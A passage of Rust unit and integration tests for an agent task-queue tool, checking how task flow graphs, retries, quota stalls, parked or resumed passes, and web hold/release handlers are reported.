12162 fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
12163 let h = task_history(task, |id| {
12164 states
12165 .iter()
12166 .find(|(i, _)| *i == id)
12167 .and_then(|(_, s)| s.clone())
12168 });
12169 task_flow(task, &h, 5, None)
12170 }
12171
12172 fn fu(origin_task: Option<&str>) -> crate::queue::FollowUp {
12173 crate::queue::FollowUp {
12174 run: "20260901-000000-aaaa".to_owned(),
12175 origin_task: origin_task.map(str::to_owned),
12176 pr: "https://example.com/o/r/pull/1".to_owned(),
12177 findings: ["R3-1-1", "R3-1-2", "R3-1-3", "R3-1-4"]
12178 .map(str::to_owned)
12179 .to_vec(),
12180 generation: 1,
12181 }
12182 }
12183
12184 fn parent_task() -> Task {
12185 let mut p = flow_task(&[]);
12186 p.title = "Parent title".to_owned();
12187 p.status = TaskStatus::Done;
12188 p
12189 }
12190
12191 #[test]
12192 fn flow_opens_with_the_parent_task_of_a_followup() {
12193 let p = parent_task();
12194 let pid = p.id.clone();
12195 let o = followup_origin(&fu(Some(&pid)), |i| (i == pid).then(|| p.clone()), |_| None);
12196 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
12197 let n = &f.nodes[0];
12198 assert_eq!((n.kind, n.key.as_str()), ("followup", "origin"));
12199 assert_eq!(
12200 n.label,
12201 format!("Follow-up of {}", crate::queue::short(&pid))
12202 );
12203 assert_eq!(n.detail.as_deref(), Some("Parent title"));
12204 assert_eq!(n.status, Some("done"));
12205 assert_eq!(n.status_of, "task");
12206 assert_eq!(n.href.as_deref(), Some(format!("#/tasks/{pid}").as_str()));
12207 assert_eq!(f.nodes[1].key, "start");
12208 assert_eq!(f.edges[0].from, "origin");
12209 assert_eq!(
12210 f.edges[0].label,
12211 "open findings R3-1-1, R3-1-2, R3-1-3 +1 more"
12212 );
12213 }
12214
12215 #[test]
12216 fn flow_falls_back_to_the_merged_run_when_the_parent_is_gone() {
12217 let o = followup_origin(
12218 &fu(Some("gone")),
12219 |_| None,
12220 |_| {
12221 Some(RunState::new(
12222 std::path::PathBuf::from("."),
12223 "main".to_owned(),
12224 "0".to_owned(),
12225 "t".to_owned(),
12226 crate::config::Config::default(),
12227 ))
12228 },
12229 );
12230 assert!(o.parent.is_none());
12231 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
12232 let n = &f.nodes[0];
12233 assert_eq!(n.status_of, "run");
12234 assert_eq!(n.href.as_deref(), Some("#/runs/20260901-000000-aaaa"));
12235 assert!(n.label.starts_with("Follow-up of run "), "{}", n.label);
12236 }
12237
12238 #[test]
12239 fn flow_followup_with_nothing_readable_has_no_link() {
12240 let o = followup_origin(&fu(None), |_| panic!("no parent id to look up"), |_| None);
12241 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
12242 let n = &f.nodes[0];
12243 assert_eq!(n.href, None);
12244 assert_eq!(n.note, Some("unreadable"));
12245 assert!(!n.readable);
12246 }
12247
12248 #[test]
12249 fn flow_keeps_the_chat_first_only_when_the_source_is_a_chat() {
12250 let o = followup_origin(&fu(None), |_| None, |_| None);
12251 let mut t = flow_task(&[]);
12252 t.origin_chat = Some("c1".to_owned());
12253 let f = task_flow(&t, &[], 5, Some(&o));
12254 assert_eq!(f.nodes[0].kind, "followup", "inherited chat adds no node");
12255 t.source = Source::Agent {
12256 run: "c1".to_owned(),
12257 node: crate::queue::CHAT_NODE.to_owned(),
12258 };
12259 let f = task_flow(&t, &[], 5, Some(&o));
12260 assert_eq!((f.nodes[0].kind, f.nodes[1].kind), ("chat", "followup"));
12261 assert_eq!(
12262 (f.edges[0].from.as_str(), f.edges[0].to.as_str()),
12263 ("chat", "origin")
12264 );
12265 }
12266
12267 #[test]
12268 fn followup_origin_encodes_ids_and_survives_a_self_reference() {
12269 let mut p = parent_task();
12270 p.id = "a b/c".to_owned();
12271 let o = followup_origin(&fu(Some("a b/c")), |_| Some(p.clone()), |_| None);
12272 assert_eq!(o.parent.expect("parent").href, "#/tasks/a%20b%2Fc");
12273 }
12274
12275 #[test]
12276 fn flow_opens_with_the_chat_that_queued_the_task() {
12277 let mut t = flow_task(&[]);
12278 t.source = Source::Agent {
12279 run: "a b/c".to_owned(),
12280 node: crate::queue::CHAT_NODE.to_owned(),
12281 };
12282 let f = flow_for(&t, &[]);
12283 assert_eq!(f.nodes[0].key, "chat");
12284 assert_eq!(f.nodes[0].kind, "chat");
12285 assert_eq!(
12286 f.nodes[0].label,
12287 format!("Chat {}", crate::queue::short("a b/c"))
12288 );
12289 assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
12290 assert_eq!(f.nodes[1].key, "start");
12291 assert_eq!(
12292 f.edges[0],
12293 FlowEdge {
12294 from: "chat".to_owned(),
12295 to: "start".to_owned(),
12296 label: "queued from chat".to_owned(),
12297 attempt: AttemptCost::None,
12298 }
12299 );
12300 }
12301
12302 #[test]
12303 fn flow_has_no_chat_box_for_other_sources() {
12304 for source in [
12305 Source::Human,
12306 Source::Issue {
12307 number: 3,
12308 repo: "o/r".to_owned(),
12309 },
12310 Source::Agent {
12311 run: "20260904-014455-ab12".to_owned(),
12312 node: "implement".to_owned(),
12313 },
12314 ] {
12315 let mut t = flow_task(&[]);
12316 t.source = source;
12317 let f = flow_for(&t, &[]);
12318 assert_eq!(f.nodes[0].key, "start");
12319 assert!(f.nodes.iter().all(|n| n.kind != "chat"));
12320 assert!(f.edges.iter().all(|e| e.from != "chat"));
12321 }
12322 }
12323
12324 const FA: &str = "20260902-140501-aaaa";
12325 const FB: &str = "20260902-140502-bbbb";
12326
12327 #[test]
12328 fn flow_follows_blocked_retry_merged_to_done() {
12329 let mut t = flow_task(&[FA, FB]);
12330 t.status = TaskStatus::Done;
12331 let f = flow_for(
12332 &t,
12333 &[
12334 (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
12335 (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
12336 ],
12337 );
12338 let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
12339 assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
12340 assert_eq!(f.edges.len(), 3);
12341 assert_eq!(f.edges[0].label, "claimed");
12342 assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
12343 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
12344 assert_eq!(f.edges[2].label, "merged \u{2192} done");
12345 assert_eq!(
12346 f.nodes[2].href.as_deref(),
12347 Some("#/runs/20260902-140502-bbbb")
12348 );
12349 assert!(f.nodes[2].decided);
12350 }
12351
12352 #[test]
12353 fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
12354 let quota = || {
12355 flow_run(RunStatus::Stalled, |s| {
12356 s.quota.push(crate::run::QuotaLoss {
12357 seat: "judge-1".to_owned(),
12358 node: "judge".to_owned(),
12359 at: Timestamp::now(),
12360 reset: None,
12361 })
12362 })
12363 };
12364 let mut t = flow_task(&[FA, FA]);
12365 t.status = TaskStatus::Queued;
12366 let f = flow_for(&t, &[(FA, Some(quota()))]);
12367 assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
12368 assert_eq!(f.nodes[1].note, Some("interrupted"));
12369 assert_eq!(
12370 f.nodes[1].status, None,
12371 "no outcome copied onto an earlier pass"
12372 );
12373 assert_eq!(
12374 f.edges[1].attempt,
12375 AttemptCost::Unknown,
12376 "a resume does not prove the earlier pass was refunded"
12377 );
12378 assert!(f.edges[1].label.contains("resume the same run"));
12379 assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
12380 assert_eq!(
12381 f.edges[2].label,
12382 "stalled after a resume, refund unknown \u{2192} queued"
12383 );
12384 assert!(!f.nodes[2].decided, "a stall is not a decision");
12385 assert_eq!(f.nodes[2].note, Some("no verdict"));
12386 }
12387
12388 #[test]
12389 fn flow_single_pass_quota_stall_is_refunded() {
12390 let t = flow_task(&[FA]);
12391 let f = flow_for(
12392 &t,
12393 &[(
12394 FA,
12395 Some(flow_run(RunStatus::Stalled, |s| {
12396 s.quota.push(crate::run::QuotaLoss {
12397 seat: "judge-1".to_owned(),
12398 node: "judge".to_owned(),
12399 at: Timestamp::now(),
12400 reset: None,
12401 })
12402 })),
12403 )],
12404 );
12405 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
12406 }
12407
12408 #[test]
12409 fn flow_parked_refunds_and_stall_without_quota_spends() {
12410 let mut t = flow_task(&[FA]);
12411 t.status = TaskStatus::Queued;
12412 let f = flow_for(
12413 &t,
12414 &[(
12415 FA,
12416 Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
12417 )],
12418 );
12419 assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
12420 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
12421 let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
12422 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
12423 assert!(!f.nodes[1].decided);
12424 }
12425
12426 #[test]
12427 fn flow_keeps_an_unreadable_run_as_its_own_node() {
12428 let t = flow_task(&[FA, FB]);
12429 let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
12430 assert_eq!(f.nodes[1].note, Some("unreadable"));
12431 assert!(!f.nodes[1].readable);
12432 assert_eq!(f.nodes[1].run_kind, Some("unknown"));
12433 assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
12434 }
12435
12436 #[test]
12437 fn flow_names_the_branch_of_a_review_only_run() {
12438 let t = flow_task(&[FA]);
12439 let f = flow_for(
12440 &t,
12441 &[(
12442 FA,
12443 Some(flow_run(RunStatus::Merged, |s| {
12444 s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
12445 })),
12446 )],
12447 );
12448 assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
12449 assert_eq!(
12450 f.nodes[1].detail.as_deref(),
12451 Some("review-only run of branch magi/x/A")
12452 );
12453 }
12454
12455 #[test]
12456 fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
12457 let mut t = flow_task(&[FA]);
12458 t.status = TaskStatus::Held;
12459 let pr = crate::run::PrRecord {
12460 url: "https://example.test/pr/1".to_owned(),
12461 number: 1,
12462 state: "open".to_owned(),
12463 checks: "green".to_owned(),
12464 round: 0,
12465 rounds: 3,
12466 red_at_merge: Vec::new(),
12467 };
12468 let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
12469 let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
12470 assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
12471 t.status = TaskStatus::Done;
12472 let f = flow_for(&t, &[(FA, Some(blocked))]);
12473 assert_eq!(f.edges[1].label, "closed by hand: task is done");
12474 }
12475
12476 #[test]
12477 fn flow_with_no_runs_goes_from_queued_to_queued() {
12478 let t = flow_task(&[]);
12479 let f = flow_for(&t, &[]);
12480 assert_eq!(f.nodes.len(), 2);
12481 assert_eq!(f.edges.len(), 1);
12482 assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
12483 assert_eq!(f.edges[0].attempt, AttemptCost::None);
12484 }
12485
12486 #[test]
12489 fn a_parked_non_terminal_run_is_explained_as_parked() {
12490 let mut s = RunState::new(
12491 PathBuf::from("/repo/magi"),
12492 "main".to_owned(),
12493 "0123456789abcdef".to_owned(),
12494 "Do it".to_owned(),
12495 Config::default(),
12496 );
12497 s.status = RunStatus::Implementing;
12498 s.parked = true;
12499 let task = Task::new(
12500 "t".to_owned(),
12501 "Do it".to_owned(),
12502 PathBuf::from("/repo/magi"),
12503 Source::Human,
12504 );
12505 let v = task_run_view(
12506 "20260902-140501-aaaa",
12507 Some(&s),
12508 RunSlot {
12509 n: 1,
12510 resumed: false,
12511 resumed_later: None,
12512 prior: None,
12513 last: true,
12514 ..RunSlot::default()
12515 },
12516 &task,
12517 );
12518 assert!(v.outcome.contains("Parked"), "{}", v.outcome);
12519 }
12520
12521 fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
12522 let mut s = flow_run(RunStatus::Implementing, edit);
12523 s.parked = false;
12524 let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
12525 task_run_view(
12526 "20260902-140501-aaaa",
12527 Some(&s),
12528 RunSlot {
12529 n: 1,
12530 resumed: false,
12531 resumed_later: Some(2),
12532 prior: None,
12533 last: false,
12534 ..RunSlot::default()
12535 },
12536 &task,
12537 )
12538 }
12539
12540 #[test]
12541 fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
12542 let v = earlier_pass_view(|_| {});
12543 assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
12544 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
12545 assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
12546 assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
12547 assert_eq!(v.exit, RunExit::Interrupted);
12548 assert_eq!(v.attempt, AttemptCost::Unknown);
12549 }
12550
12551 #[test]
12552 fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
12553 let v = earlier_pass_view(|s| {
12554 s.quota.push(crate::run::QuotaLoss {
12555 seat: "judge-1".to_owned(),
12556 node: "judge".to_owned(),
12557 at: Timestamp::now(),
12558 reset: None,
12559 });
12560 });
12561 assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
12562 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
12563 assert_eq!(v.attempt, AttemptCost::Unknown);
12564 }
12565
12566 #[test]
12567 fn the_current_pass_states_its_recorded_cause_and_cost() {
12568 let slot = || RunSlot {
12569 n: 1,
12570 resumed: false,
12571 resumed_later: None,
12572 prior: None,
12573 last: true,
12574 ..RunSlot::default()
12575 };
12576 let task = flow_task(&["20260902-140501-aaaa"]);
12577 let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
12578 let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
12579 assert_eq!(
12580 (v.exit, v.attempt),
12581 (RunExit::Parked, AttemptCost::Refunded)
12582 );
12583 let spent = flow_run(RunStatus::Blocked, |_| {});
12584 let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
12585 assert_eq!(v.attempt, AttemptCost::Spent);
12586 assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
12587 }
12588
12589 fn recorded_pass(index: usize, end: Option<crate::run::PassEnd>) -> crate::run::RunPass {
12590 crate::run::RunPass {
12591 index,
12592 started_at: Timestamp::now(),
12593 resumed: index > 0,
12594 ended_at: end.as_ref().map(|_| Timestamp::now()),
12595 end,
12596 task_entry: true,
12597 }
12598 }
12599
12600 fn parked(cause: crate::run::ParkCause) -> Option<crate::run::PassEnd> {
12601 Some(crate::run::PassEnd::Parked { cause })
12602 }
12603
12604 fn upgrade_cause() -> crate::run::ParkCause {
12605 crate::run::ParkCause::Upgrade {
12606 from: "0.121.0".to_owned(),
12607 to: Some("0.121.1".to_owned()),
12608 }
12609 }
12610
12611 fn settled_pass(
12612 run: &str,
12613 index: usize,
12614 cost: crate::queue::PassCost,
12615 ) -> crate::queue::TaskPass {
12616 crate::queue::TaskPass {
12617 run: run.to_owned(),
12618 pass_index: index,
12619 cost,
12620 attempts_after: 1,
12621 settled_at: Timestamp::now(),
12622 parked: None,
12623 }
12624 }
12625
12626 const RUN_X: &str = "20261011-223708-4334";
12627
12628 #[test]
12629 fn an_upgrade_pause_and_its_resume_are_two_passes_of_one_run_and_one_attempt() {
12630 use crate::queue::PassCost;
12631 let run = flow_run(RunStatus::Implementing, |s| {
12632 s.passes = vec![
12633 recorded_pass(0, parked(upgrade_cause())),
12634 recorded_pass(1, None),
12635 ];
12636 });
12637 let mut task = flow_task(&[RUN_X, RUN_X]);
12638 task.attempts = 1;
12639 task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
12640 let h = task_history(&task, |_| Some(run.clone()));
12641 assert_eq!(h.len(), 2);
12642 assert_eq!(h[0].kind, "competition");
12643 assert_eq!(h[1].kind, "resume");
12644 assert_eq!(
12645 (h[0].exit, h[0].attempt),
12646 (RunExit::Parked, AttemptCost::Refunded)
12647 );
12648 assert!(
12649 h[0].outcome.contains("upgrade 0.121.0 \u{2192} 0.121.1"),
12650 "{}",
12651 h[0].outcome
12652 );
12653 assert!(h[0].outcome.contains("handed back"), "{}", h[0].outcome);
12654 assert!(
12655 h[0].outcome.contains("pass #2 resumed the same run"),
12656 "{}",
12657 h[0].outcome
12658 );
12659 assert!(
12660 h[0].outcome.contains("pass 1 of 2 over run"),
12661 "{}",
12662 h[0].outcome
12663 );
12664 assert!(!h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
12665 assert_eq!(
12666 h[0].exit_label,
12667 "parked for upgrade 0.121.0 \u{2192} 0.121.1, attempt refunded"
12668 );
12669 let f = task_flow(&task, &h, 2, None);
12670 assert_eq!((f.passes, f.runs, f.attempts, f.max_attempts), (2, 1, 1, 2));
12672 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
12673 assert!(
12674 f.edges[1].label.contains("upgrade 0.121.0"),
12675 "{}",
12676 f.edges[1].label
12677 );
12678 assert!(
12679 f.edges[1].label.contains("resume the same run"),
12680 "{}",
12681 f.edges[1].label
12682 );
12683 assert_eq!(f.nodes[1].note, Some("parked"));
12684 }
12685
12686 #[test]
12687 fn distinct_run_ids_render_all_recorded_passes_in_time_order() {
12688 let mut a = flow_run(RunStatus::Implementing, |s| {
12689 s.passes = vec![
12690 recorded_pass(0, parked(upgrade_cause())),
12691 recorded_pass(1, None),
12692 ];
12693 });
12694 let mut b = flow_run(RunStatus::Failed, |s| {
12695 s.passes = vec![recorded_pass(0, None)];
12696 });
12697 a.passes[0].started_at = "2026-10-10T00:00:00Z".parse().unwrap();
12698 b.passes[0].started_at = "2026-10-10T01:00:00Z".parse().unwrap();
12699 a.passes[1].started_at = "2026-10-10T02:00:00Z".parse().unwrap();
12700 let mut task = flow_task(&[]);
12701 task.start("a".into());
12702 task.start("b".into());
12703 task.start("a".into());
12704 assert_eq!(task.runs, ["b", "a"]);
12705 task.passes = vec![settled_pass("a", 0, crate::queue::PassCost::Refunded)];
12706 let h = task_history(&task, |id| {
12707 Some(if id == "a" { a.clone() } else { b.clone() })
12708 });
12709 assert_eq!(
12710 h.iter().map(|v| v.id.as_str()).collect::<Vec<_>>(),
12711 ["a", "b", "a"]
12712 );
12713 assert_eq!(h[0].attempt, AttemptCost::Refunded);
12714 assert!(h[0].outcome.contains("upgrade"));
12715 assert_eq!(h[2].kind, "resume");
12716 assert!(h[2].pass.is_some());
12717 task.runs = vec!["a".into(), "b".into(), "a".into()];
12719 let old = task_history(&task, |id| {
12720 Some(if id == "a" { a.clone() } else { b.clone() })
12721 });
12722 assert_eq!(
12723 old.iter()
12724 .map(|v| (&v.id, &v.kind, v.attempt))
12725 .collect::<Vec<_>>(),
12726 h.iter()
12727 .map(|v| (&v.id, &v.kind, v.attempt))
12728 .collect::<Vec<_>>()
12729 );
12730 }
12731
12732 #[test]
12733 fn an_upgrade_whose_target_was_not_known_says_so() {
12734 let run = flow_run(RunStatus::Implementing, |s| {
12735 s.passes = vec![
12736 recorded_pass(
12737 0,
12738 parked(crate::run::ParkCause::Upgrade {
12739 from: "0.121.0".to_owned(),
12740 to: None,
12741 }),
12742 ),
12743 recorded_pass(1, None),
12744 ];
12745 });
12746 let task = flow_task(&[RUN_X, RUN_X]);
12747 let h = task_history(&task, |_| Some(run.clone()));
12748 assert!(
12749 h[0].outcome.contains("upgrade from 0.121.0"),
12750 "{}",
12751 h[0].outcome
12752 );
12753 assert_eq!(h[0].attempt, AttemptCost::Unknown);
12755 }
12756
12757 #[test]
12758 fn each_pass_keeps_its_own_cause_across_several_resumes() {
12759 use crate::queue::PassCost;
12760 use crate::run::ParkCause;
12761 let run = flow_run(RunStatus::Implementing, |s| {
12762 s.passes = vec![
12763 recorded_pass(0, parked(upgrade_cause())),
12764 recorded_pass(
12765 1,
12766 parked(ParkCause::Interrupt {
12767 reason: "task a1b2 asked to run first".to_owned(),
12768 }),
12769 ),
12770 recorded_pass(2, parked(ParkCause::Operator)),
12771 recorded_pass(3, None),
12772 ];
12773 });
12774 let mut task = flow_task(&[RUN_X, RUN_X, RUN_X, RUN_X]);
12775 task.attempts = 1;
12776 task.passes = (0..3)
12777 .map(|i| settled_pass(RUN_X, i, PassCost::Refunded))
12778 .collect();
12779 let h = task_history(&task, |_| Some(run.clone()));
12780 assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
12781 assert!(
12782 h[1].outcome.contains("task a1b2 asked to run first"),
12783 "{}",
12784 h[1].outcome
12785 );
12786 assert!(!h[1].outcome.contains("upgrade"), "{}", h[1].outcome);
12787 assert!(
12788 h[2].outcome.contains("operator asked the loop to park"),
12789 "{}",
12790 h[2].outcome
12791 );
12792 assert!(h[3].outcome.is_empty() || !h[3].outcome.contains("upgrade"));
12793 let f = task_flow(&task, &h, 2, None);
12794 assert_eq!((f.passes, f.runs, f.attempts), (4, 1, 1));
12795 }
12796
12797 #[test]
12798 fn a_pass_the_next_one_found_open_is_unrecorded_never_an_upgrade() {
12799 let run = flow_run(RunStatus::Implementing, |s| {
12800 s.passes = vec![
12801 recorded_pass(0, Some(crate::run::PassEnd::Unrecorded)),
12802 recorded_pass(1, None),
12803 ];
12804 });
12805 let task = flow_task(&[RUN_X, RUN_X]);
12806 let h = task_history(&task, |_| Some(run.clone()));
12807 assert_eq!(h[0].exit, RunExit::Interrupted);
12808 assert_eq!(h[0].attempt, AttemptCost::Unknown);
12809 assert!(
12810 h[0].outcome.contains("without recording why"),
12811 "{}",
12812 h[0].outcome
12813 );
12814 assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
12815 assert_eq!(h[0].pass.as_ref().map(|p| p.end), Some("unrecorded"));
12816 }
12817
12818 #[test]
12819 fn a_record_from_before_passes_stays_unknown_even_next_to_recorded_ones() {
12820 use crate::queue::PassCost;
12821 let run = flow_run(RunStatus::Implementing, |s| {
12824 s.passes = vec![
12825 recorded_pass(0, parked(upgrade_cause())),
12826 recorded_pass(1, None),
12827 ];
12828 });
12829 let mut task = flow_task(&[RUN_X, RUN_X, RUN_X]);
12830 task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
12831 let h = task_history(&task, |_| Some(run.clone()));
12832 assert!(h[0].pass.is_none());
12833 assert_eq!(h[0].exit, RunExit::Interrupted);
12834 assert_eq!(h[0].attempt, AttemptCost::Unknown);
12835 assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
12836 assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
12837 assert!(h[1].outcome.contains("upgrade 0.121.0"), "{}", h[1].outcome);
12838 let legacy = flow_run(RunStatus::Implementing, |_| {});
12840 let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(legacy.clone()));
12841 assert!(h.iter().all(|v| v.pass.is_none()));
12842 assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
12843 }
12844
12845 #[test]
12846 fn a_resume_outside_the_task_loop_does_not_shift_the_recorded_passes() {
12847 use crate::queue::PassCost;
12848 let mut web = recorded_pass(1, parked(crate::run::ParkCause::Operator));
12851 web.task_entry = false;
12852 let run = flow_run(RunStatus::Implementing, |s| {
12853 s.passes = vec![
12854 recorded_pass(0, parked(upgrade_cause())),
12855 web.clone(),
12856 recorded_pass(2, None),
12857 ];
12858 });
12859 let mut task = flow_task(&[RUN_X, RUN_X]);
12860 task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
12861 let h = task_history(&task, |_| Some(run.clone()));
12862 assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
12863 assert!(!h[1].outcome.contains("not recorded"), "{}", h[1].outcome);
12864
12865 let mut web0 = recorded_pass(0, parked(upgrade_cause()));
12868 web0.task_entry = false;
12869 let run = flow_run(RunStatus::Implementing, |s| {
12870 s.passes = vec![web0.clone(), recorded_pass(1, None)];
12871 });
12872 let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(run.clone()));
12873 assert!(h[0].pass.is_none());
12874 assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
12875 assert!(h[1].pass.is_some());
12876 }
12877
12878 #[tokio::test]
12879 async fn explicit_resumption_web_handler_matches_cli_without_a_listener() {
12880 let dir = tempfile::tempdir().unwrap();
12881 let queue = Queue::at(dir.path().join("queue"));
12882 let ui = Arc::new(Ui::new(
12883 queue.clone(),
12884 Questions::at(dir.path().join("questions")),
12885 Talks::at(dir.path().join("talks")),
12886 dir.path().join("runs"),
12887 dir.path().to_path_buf(),
12888 dir.path().to_path_buf(),
12889 ));
12890 let mut t = Task::new(
12891 "recover".into(),
12892 "Inspect".into(),
12893 PathBuf::from("."),
12894 Source::Human,
12895 );
12896 t.record_answer("Inspect then resume?".into(), "Inspect then wait".into());
12897 t.start("run-A".into());
12898 t.release_operator("choice", Some("resume-question"));
12899 t.resume_override = Some(crate::queue::OperatorResume {
12900 question_id: "resume-question".into(),
12901 at: jiff::Timestamp::now(),
12902 conductor_rehold: None,
12903 forced: true,
12904 pinned_run: Some("run-A".into()),
12905 });
12906 t.hold_machine(Some("inspection pending".into()));
12907 t.edit("recover".into(), "Reuse approved PR head".into())
12908 .unwrap();
12909 queue.put(&mut t).unwrap();
12910 let mut cli = t.clone();
12911 cli.release_operator("cli", None);
12912 let Json(reply) = queue_release(State(ui), Path(t.id.clone())).await.unwrap();
12913 let reloaded = queue.get(&t.id).unwrap();
12914 assert_eq!(reply.task.status, TaskStatus::Queued);
12915 assert!(reloaded.resume_override.is_none());
12916 assert_eq!(reloaded.answers, t.answers);
12917 let mut web = reloaded.resumption.unwrap();
12918 let cli = cli.resumption.unwrap();
12919 assert_eq!(web.source, "web");
12920 web.source = cli.source.clone();
12921 web.at = cli.at;
12922 assert_eq!(web, cli);
12923 }
12924
12925 #[tokio::test]
12926 async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
12927 let f = Fixture::start().await;
12928 let queue = f.queue();
12929 let mut task = Task::new(
12930 "spent".to_owned(),
12931 "Try again".to_owned(),
12932 PathBuf::from("/repo/magi"),
12933 Source::Human,
12934 );
12935 task.start("20260902-140502-bbbb".to_owned());
12936 task.fail("agent gave up", 9);
12937 queue.put(&mut task).expect("file the task");
12938
12939 let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
12940 assert_eq!(held.status, 200);
12941 assert_eq!(held.json()["status_str"], "held");
12942
12943 let released = f
12944 .post(&format!("/api/queue/{}/release", task.id), None)
12945 .await;
12946 assert_eq!(released.status, 200);
12947 assert_eq!(released.json()["status_str"], "queued");
12948 assert_eq!(released.json()["resumption"]["source"], "web");
12949 assert_eq!(released.json()["resumption"]["instruction"], "Try again");
12950 let mut cli = task.clone();
12951 cli.release_operator("cli", None);
12952 let web = queue.get(&task.id).unwrap().resumption.unwrap();
12953 let cli = cli.resumption.unwrap();
12954 assert_eq!(web.instruction, cli.instruction);
12955 assert_eq!(web.answers_through, cli.answers_through);
12956 assert_eq!(web.runs_through, cli.runs_through);
12957 assert_eq!(web.cleared_reason, cli.cleared_reason);
12958 assert_eq!(
12959 released.json()["attempts"],
12960 0,
12961 "release is a real second chance, not an instant re-hold"
12962 );
12963 assert_eq!(
12964 queue.get(&task.id).expect("reload").status,
12965 TaskStatus::Queued,
12966 "the change is on disk, not only in the reply"
12967 );
12968 assert!(
12969 !f.home
12970 .path()
12971 .join("queue")
12972 .join(format!("{}.lock", task.id))
12973 .exists(),
12974 "the claim the mutation took is released again"
12975 );
12976 }
12977
12978 #[tokio::test]
12979 async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
12980 let f = Fixture::start().await;
12981 let queue = f.queue();
12982 let mut task = Task::new(
12983 "busy".to_owned(),
12984 "Running right now".to_owned(),
12985 PathBuf::from("/repo/magi"),
12986 Source::Human,
12987 );
12988 queue.put(&mut task).expect("file the task");
12989 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
12990
12991 let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
12992
12993 assert_eq!(res.status, 409);
12994 assert_eq!(
12995 queue.get(&task.id).expect("reload").status,
12996 TaskStatus::Queued,
12997 "the refused hold changed nothing"
12998 );
12999 }
13000
13001 #[tokio::test]
13002 async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
13003 let f = Fixture::start().await;
13004 let queue = f.queue();
13005 let mut task = Task::new(
13006 "waiting on the migration".to_owned(),
13007 "Do the thing".to_owned(),
13008 PathBuf::from("/repo/magi"),
13009 Source::Human,
13010 );
13011 queue.put(&mut task).expect("file the task");
13012
13013 let held = f
13014 .post(
13015 &format!("/api/queue/{}/hold", task.id),
13016 Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
13017 )
13018 .await;
13019 assert_eq!(held.status, 200, "{}", held.body);
13020 assert_eq!(held.json()["status_str"], "held");
13021 assert_eq!(
13022 held.json()["hold_reason"],
13023 "waiting for 20260101-000000-aaaa to land"
13024 );
13025
13026 let listed = f.get("/api/queue").await.json();
13027 assert_eq!(
13028 listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
13029 "the card reads the reason off the same list route"
13030 );
13031
13032 let mut plain = Task::new(
13035 "no reason given".to_owned(),
13036 "Do another thing".to_owned(),
13037 PathBuf::from("/repo/magi"),
13038 Source::Human,
13039 );
13040 queue.put(&mut plain).expect("file the task");
13041 let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
13042 assert_eq!(held_plain.status, 200, "{}", held_plain.body);
